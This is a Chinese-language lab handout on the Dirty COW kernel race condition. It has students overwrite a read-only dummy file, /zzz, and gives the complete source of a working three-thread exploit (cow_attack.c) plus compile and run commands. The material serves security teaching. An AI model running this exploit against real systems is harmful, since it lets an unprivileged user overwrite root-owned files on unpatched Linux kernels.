章节大纲

  • 此任务的目标是利用 Dirty COW 漏洞向一个只读文件写入内容。
      • 我们首先需要选择一个目标文件。虽然该文件可以是系统中的任何只读文件,但我们在此任务中使用一个虚拟文件,以防我们因操作失误而破坏重要的系统文件。请在根目录下创建一个名为 zzz 的文件,将其权限更改为普通用户只读,并使用编辑器(如 gedit)在文件中写入一些随机内容。

        $ sudo touch /zzz
        $ sudo chmod 644 /zzz
        $ sudo gedit /zzz
        $ cat /zzz
        111111222222333333
        $ ls -l /zzz
        -rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz
        $ echo 99999 > /zzz
        bash: /zzz: Permission denied

        从上述实验可以看出,普通用户尝试向该文件写入内容会失败,因为该文件对普通用户来说仅是可读的。然而,由于系统中的 Dirty COW 漏洞,我们可以找到一种方法向该文件写入内容。我们的目标是将模式 "222222" 替换为 "******"。

      • 解压实验文件 zip 可以获得 cow_attack.c。该程序包含三个线程:主线程、write 线程和 madvise 线程。 主线程将 /zzz 映射到内存中,找到模式 "222222" 的位置,然后创建两个线程来利用操作系统内核中的 Dirty COW 竞争条件漏洞。

        /* cow_attack.c  (主线程) */
        
        #include <sys/mman.h>
        #include <fcntl.h>
        #include <pthread.h>
        #include <sys/stat.h>
        #include <string.h>
        
        void *map;
        
        int main(int argc, char *argv[])
        {
          pthread_t pth1,pth2;
          struct stat st;
          int file_size;
        
          // 以只读模式打开目标文件。
          int f=open("/zzz", O_RDONLY);
        
          // 使用 MAP_PRIVATE 将文件映射到 COW 内存。
          fstat(f, &st);
          file_size = st.st_size;
          map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
        
          // 找到目标区域的位置
          char *position = strstr(map, "222222");                            ①
        
          // 我们需要使用两个线程进行攻击。
          pthread_create(&pth1, NULL, madviseThread, (void  *)file_size);    ②
          pthread_create(&pth2, NULL, writeThread, position);                ③
        
          // 等待线程结束。
          pthread_join(pth1, NULL);
          pthread_join(pth2, NULL);
          return 0;
        }

        在上述代码中,我们需要找到字符串 "222222" 的位置。 我们使用一个字符串函数 strstr() 来找到映射内存中 "222222" 的位置(行 ①)。然后,我们启动两个线程: madviseThread(行 ②)和 writeThread(行 ③)。

      • write 线程的任务是将内存中的字符串 "222222" 替换为 "******"。 由于映射内存是 COW 类型,仅通过该线程只能修改映射内存的副本内容,无法对底层的 /zzz 文件产生任何更改。

        void *writeThread(void *arg)
        {
          char *content= "******";
          off_t offset = (off_t) arg;
        
          int f=open("/proc/self/mem", O_RDWR);
          while(1) {
            // 将文件指针移动到相应位置。
            lseek(f, offset, SEEK_SET);
            // 向内存写入。
            write(f, content, strlen(content));
          }
        }
      • madvise 线程的任务只有一个:丢弃映射内存的私有副本,使页表指向原始的映射内存。

        void *madviseThread(void *arg)
        {
          int file_size = (int) arg;
          while(1){
              madvise(map, file_size, MADV_DONTNEED);
          }
        }
      • 如果交替调用 write() 和 madvise() 系统调用(即,一个调用仅在另一个完成后执行),write() 操作将始终作用于私有副本,我们将永远无法修改目标文件。唯一能让攻击成功的方法是在 write() 系统调用仍在运行时调用 madvise() 系统调用。我们无法每次都成功实现这一点,因此需要尝试多次。只要概率不是极低,我们就有机会。因此,在线程中,我们在无限循环中运行这两个系统调用。

        编译 cow_attack.c 并运行几秒钟。如果攻击成功,你应该能够看到已被修改的 /zzz 文件。 请在实验报告中记录你的结果,并解释你是如何实现这一点的。

        $ gcc cow_attack.c -lpthread
        $ a.out
          ... press Ctrl-C after a few seconds ...